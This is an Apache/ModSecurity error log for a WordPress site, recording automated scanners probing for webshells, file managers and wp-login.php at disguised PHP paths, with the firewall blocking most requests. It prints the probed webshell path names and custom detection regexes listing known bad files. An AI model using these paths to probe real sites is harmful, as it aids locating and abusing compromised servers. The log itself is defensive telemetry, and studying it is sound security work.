[Wed Dec 24 10:52:10.889991 2025] [proxy_fcgi:error] [pid 28405:tid 28421] [client 104.234.53.212:54925] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:11.120641 2025] [proxy_fcgi:error] [pid 28405:tid 28416] [client 104.234.53.212:54925] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:11.579208 2025] [:error] [pid 28405:tid 28423] [client 104.234.53.212:54925] [client 104.234.53.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "aUtVW8KkTWlhmfdXFqbw3wAAAU0"]
[Wed Dec 24 10:52:12.047603 2025] [proxy_fcgi:error] [pid 28405:tid 28433] [client 63.135.161.46:60491] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:12.996024 2025] [:error] [pid 28405:tid 28434] [client 63.135.161.46:60491] [client 63.135.161.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.46, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/js/wp-login.php"] [unique_id "aUtVXMKkTWlhmfdXFqbw_QAAAVg"]
[Wed Dec 24 10:52:13.446364 2025] [:error] [pid 28405:tid 28433] [client 63.135.161.46:60491] File does not exist: /home/agraphicscom/public_html/worm.PhP
[Wed Dec 24 10:52:13.725661 2025] [proxy_fcgi:error] [pid 28405:tid 28421] [client 63.135.161.46:60491] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:14.003637 2025] [proxy_fcgi:error] [pid 28405:tid 28419] [client 63.135.161.46:60491] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:14.283628 2025] [proxy_fcgi:error] [pid 28405:tid 28410] [client 63.135.161.46:60491] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:14.528268 2025] [:error] [pid 28405:tid 28416] [client 63.135.161.46:60491] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aUtVXsKkTWlhmfdXFqbxKAAAAUc"]
[Wed Dec 24 10:52:15.031212 2025] [:error] [pid 54139:tid 54151] [client 63.135.161.45:35989] [client 63.135.161.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.45, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aUtVX8rYCZenIDzgXuIInQAAAQo"]
[Wed Dec 24 10:52:15.435654 2025] [proxy_fcgi:error] [pid 54139:tid 54144] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:15.929651 2025] [proxy_fcgi:error] [pid 54139:tid 54148] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:16.188651 2025] [proxy_fcgi:error] [pid 54139:tid 54154] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:16.689614 2025] [proxy_fcgi:error] [pid 54139:tid 54153] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:17.152669 2025] [proxy_fcgi:error] [pid 54139:tid 54151] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:17.843931 2025] [proxy_fcgi:error] [pid 54139:tid 54155] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:19.466601 2025] [proxy_fcgi:error] [pid 54139:tid 54159] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:19.707628 2025] [proxy_fcgi:error] [pid 54139:tid 54164] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:20.420201 2025] [proxy_fcgi:error] [pid 54139:tid 54159] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:20.890640 2025] [proxy_fcgi:error] [pid 54139:tid 54155] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:21.130176 2025] [proxy_fcgi:error] [pid 54139:tid 54156] [client 63.135.161.45:35989] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:21.357336 2025] [:error] [pid 54139:tid 54152] [client 63.135.161.45:35989] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aUtVZcrYCZenIDzgXuIJFgAAAQs"]
[Wed Dec 24 10:52:22.061638 2025] [proxy_fcgi:error] [pid 28777:tid 28800] [client 63.135.161.64:52049] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:22.313800 2025] [proxy_fcgi:error] [pid 28777:tid 28779] [client 63.135.161.64:52049] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:22.538971 2025] [:error] [pid 28777:tid 28792] [client 63.135.161.64:52049] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aUtVZpBVBcZ34cSqz8rKVQAAAY0"]
[Wed Dec 24 10:52:24.217251 2025] [proxy_fcgi:error] [pid 16468:tid 16540] [client 104.234.53.216:48527] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:24.429184 2025] [:error] [pid 16468:tid 16526] [client 104.234.53.216:48527] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aUtVaIdyfuSTFLkCbP8sQQAAAII"]
[Wed Dec 24 10:52:25.407680 2025] [proxy_fcgi:error] [pid 16468:tid 16535] [client 63.135.161.68:23393] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:25.881663 2025] [proxy_fcgi:error] [pid 16468:tid 16548] [client 63.135.161.68:23393] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:26.115939 2025] [proxy_fcgi:error] [pid 16468:tid 16540] [client 63.135.161.68:23393] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:26.356638 2025] [proxy_fcgi:error] [pid 16468:tid 16539] [client 63.135.161.68:23393] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:26.640676 2025] [proxy_fcgi:error] [pid 16468:tid 16528] [client 63.135.161.68:23393] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:27.141375 2025] [:error] [pid 16468:tid 16526] [client 63.135.161.68:23393] [client 63.135.161.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aUtVa4dyfuSTFLkCbP8sdgAAAII"]
[Wed Dec 24 10:52:28.611927 2025] [proxy_fcgi:error] [pid 16468:tid 16546] [client 104.234.53.224:61019] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:28.850931 2025] [proxy_fcgi:error] [pid 16468:tid 16548] [client 104.234.53.224:61019] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:29.064930 2025] [:error] [pid 16468:tid 16540] [client 104.234.53.224:61019] [client 104.234.53.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aUtVbYdyfuSTFLkCbP8slQAAAJA"]
[Wed Dec 24 10:52:29.723818 2025] [:error] [pid 16466:tid 16477] [client 104.234.53.209:24499] [client 104.234.53.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aUtVbbu0JcuKJMjJn6zKrAAAAAc"]
[Wed Dec 24 10:52:30.429619 2025] [proxy_fcgi:error] [pid 16468:tid 16528] [client 63.135.161.63:56411] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:35.030612 2025] [proxy_fcgi:error] [pid 16468:tid 16547] [client 63.135.161.63:56411] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:35.275645 2025] [proxy_fcgi:error] [pid 16468:tid 16542] [client 63.135.161.63:56411] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:39.616875 2025] [:error] [pid 16468:tid 16524] [client 63.135.161.63:56411] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aUtVd4dyfuSTFLkCbP8tcQAAAIA"]
[Wed Dec 24 10:52:40.165950 2025] [:error] [pid 28777:tid 28780] [client 63.135.161.60:22099] [client 63.135.161.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aUtVeJBVBcZ34cSqz8rLSQAAAYE"]
[Wed Dec 24 10:52:43.097642 2025] [proxy_fcgi:error] [pid 54139:tid 54155] [client 104.234.53.213:64165] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:43.599588 2025] [:error] [pid 54139:tid 54160] [client 104.234.53.213:64165] [client 104.234.53.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aUtVe8rYCZenIDzgXuIKoAAAARM"]
[Wed Dec 24 10:52:44.346002 2025] [:error] [pid 29371:tid 29392] [client 63.135.161.63:23667] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aUtVfHs-DlKLysSq5L8f6wAAAdM"]
[Wed Dec 24 10:52:45.122145 2025] [proxy_fcgi:error] [pid 16467:tid 16507] [client 63.135.161.72:35245] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:45.383620 2025] [proxy_fcgi:error] [pid 16467:tid 16518] [client 63.135.161.72:35245] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:45.657849 2025] [:error] [pid 16467:tid 16519] [client 63.135.161.72:35245] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aUtVfY0TJMcBxX5slgrprAAAAFY"]
[Wed Dec 24 10:52:46.495618 2025] [proxy_fcgi:error] [pid 16468:tid 16526] [client 63.135.161.54:46207] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:46.779778 2025] [proxy_fcgi:error] [pid 16468:tid 16534] [client 63.135.161.54:46207] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:47.412631 2025] [proxy_fcgi:error] [pid 16468:tid 16533] [client 63.135.161.54:46207] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:48.234458 2025] [:error] [pid 16468:tid 16541] [client 63.135.161.54:46207] [client 63.135.161.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aUtVgIdyfuSTFLkCbP8uFgAAAJE"]
[Wed Dec 24 10:52:49.703857 2025] [proxy_fcgi:error] [pid 16466:tid 16481] [client 63.135.161.50:24931] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:50.405426 2025] [:error] [pid 16466:tid 16487] [client 63.135.161.50:24931] [client 63.135.161.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aUtVgru0JcuKJMjJn6zMCQAAABE"]
[Wed Dec 24 10:52:51.116242 2025] [proxy_fcgi:error] [pid 28777:tid 28797] [client 63.135.161.71:49629] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:51.880599 2025] [proxy_fcgi:error] [pid 28777:tid 28790] [client 63.135.161.71:49629] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:52.159635 2025] [proxy_fcgi:error] [pid 28777:tid 28784] [client 63.135.161.71:49629] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:52.653610 2025] [:error] [pid 28777:tid 28797] [client 63.135.161.71:49629] [client 63.135.161.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.71, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aUtVhJBVBcZ34cSqz8rMDwAAAZI"]
[Wed Dec 24 10:52:53.119623 2025] [proxy_fcgi:error] [pid 28777:tid 28800] [client 63.135.161.71:49629] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:53.842424 2025] [:error] [pid 28777:tid 28791] [client 63.135.161.71:49629] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aUtVhZBVBcZ34cSqz8rMMQAAAYw"]
[Wed Dec 24 10:52:54.297348 2025] [proxy_fcgi:error] [pid 28405:tid 28427] [client 104.234.53.219:42633] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:54.517832 2025] [:error] [pid 28405:tid 28411] [client 104.234.53.219:42633] [client 104.234.53.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aUtVhsKkTWlhmfdXFqbzwQAAAUI"]
[Wed Dec 24 10:52:54.959625 2025] [proxy_fcgi:error] [pid 29371:tid 29393] [client 63.135.161.47:62555] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:55.492021 2025] [proxy_fcgi:error] [pid 29371:tid 29389] [client 63.135.161.47:62555] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:55.987388 2025] [:error] [pid 29371:tid 29384] [client 63.135.161.47:62555] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aUtVh3s-DlKLysSq5L8gxgAAAcs"]
[Wed Dec 24 10:52:56.747618 2025] [proxy_fcgi:error] [pid 54139:tid 54155] [client 63.135.161.56:56595] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:56.986618 2025] [proxy_fcgi:error] [pid 54139:tid 54151] [client 63.135.161.56:56595] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:57.436316 2025] [:error] [pid 54139:tid 54153] [client 63.135.161.56:56595] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aUtVicrYCZenIDzgXuILkgAAAQw"]
[Wed Dec 24 10:52:58.108465 2025] [:error] [pid 16468:tid 16535] [client 63.135.161.73:43903] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aUtViodyfuSTFLkCbP8uzwAAAIs"]
[Wed Dec 24 10:52:58.561614 2025] [proxy_fcgi:error] [pid 16466:tid 16491] [client 104.234.53.214:47765] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:58.785610 2025] [proxy_fcgi:error] [pid 16466:tid 16475] [client 104.234.53.214:47765] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:59.282304 2025] [:error] [pid 16466:tid 16491] [client 104.234.53.214:47765] [client 104.234.53.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aUtVi7u0JcuKJMjJn6zMnwAAABU"]
[Wed Dec 24 10:53:00.752618 2025] [proxy_fcgi:error] [pid 16467:tid 16504] [client 63.135.161.51:53715] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:01.471630 2025] [proxy_fcgi:error] [pid 16467:tid 16519] [client 63.135.161.51:53715] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:01.708151 2025] [:error] [pid 16467:tid 16499] [client 63.135.161.51:53715] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aUtVjY0TJMcBxX5slgrrXAAAAEI"]
[Wed Dec 24 10:53:02.371217 2025] [:error] [pid 29371:tid 29395] [client 63.135.161.54:45163] [client 63.135.161.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/db.php"] [unique_id "aUtVjns-DlKLysSq5L8hPAAAAdY"]
[Wed Dec 24 10:53:03.828186 2025] [:error] [pid 28777:tid 28790] [client 63.135.161.46:24253] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aUtVj5BVBcZ34cSqz8rNJAAAAYs"]
[Wed Dec 24 10:53:05.356537 2025] [:error] [pid 28405:tid 28431] [client 63.135.161.59:44479] [client 63.135.161.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aUtVkcKkTWlhmfdXFqb0aQAAAVU"]
[Wed Dec 24 10:53:05.931296 2025] [:error] [pid 16467:tid 16500] [client 63.135.161.69:59351] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aUtVkY0TJMcBxX5slgrr0QAAAEM"]
[Wed Dec 24 10:53:06.439734 2025] [:error] [pid 28405:tid 28431] [client 63.135.161.48:36399] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aUtVksKkTWlhmfdXFqb0dQAAAVU"]
[Wed Dec 24 10:53:07.965217 2025] [:error] [pid 29371:tid 29380] [client 63.135.161.45:41243] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aUtVk3s-DlKLysSq5L8hxwAAAcc"]
[Wed Dec 24 10:53:09.122314 2025] [:error] [pid 28777:tid 28791] [client 104.234.53.219:58851] [client 104.234.53.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aUtVlZBVBcZ34cSqz8rNbAAAAYw"]
[Wed Dec 24 10:53:09.641813 2025] [:error] [pid 28405:tid 28415] [client 63.135.161.66:55377] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aUtVlcKkTWlhmfdXFqb0qwAAAUY"]
[Wed Dec 24 10:53:11.152686 2025] [:error] [pid 16468:tid 16536] [client 63.135.161.76:50961] [client 63.135.161.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aUtVl4dyfuSTFLkCbP8vzgAAAIw"]
[Wed Dec 24 10:53:12.875965 2025] [:error] [pid 29371:tid 29397] [client 63.135.161.50:65233] [client 63.135.161.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aUtVmHs-DlKLysSq5L8iOAAAAdg"]
[Wed Dec 24 10:53:14.828632 2025] [:error] [pid 28405:tid 28416] [client 63.135.161.73:22431] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aUtVmsKkTWlhmfdXFqb1FgAAAUc"]
[Wed Dec 24 10:53:15.319661 2025] [proxy_fcgi:error] [pid 29371:tid 29375] [client 63.135.161.46:33825] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:16.370691 2025] [:error] [pid 29371:tid 29395] [client 63.135.161.46:33825] [client 63.135.161.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.46, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aUtVnHs-DlKLysSq5L8ilAAAAdY"]
[Wed Dec 24 10:53:17.636997 2025] [proxy_fcgi:error] [pid 29371:tid 29382] [client 63.135.161.46:33825] AH01071: Got error 'Primary script unknown'
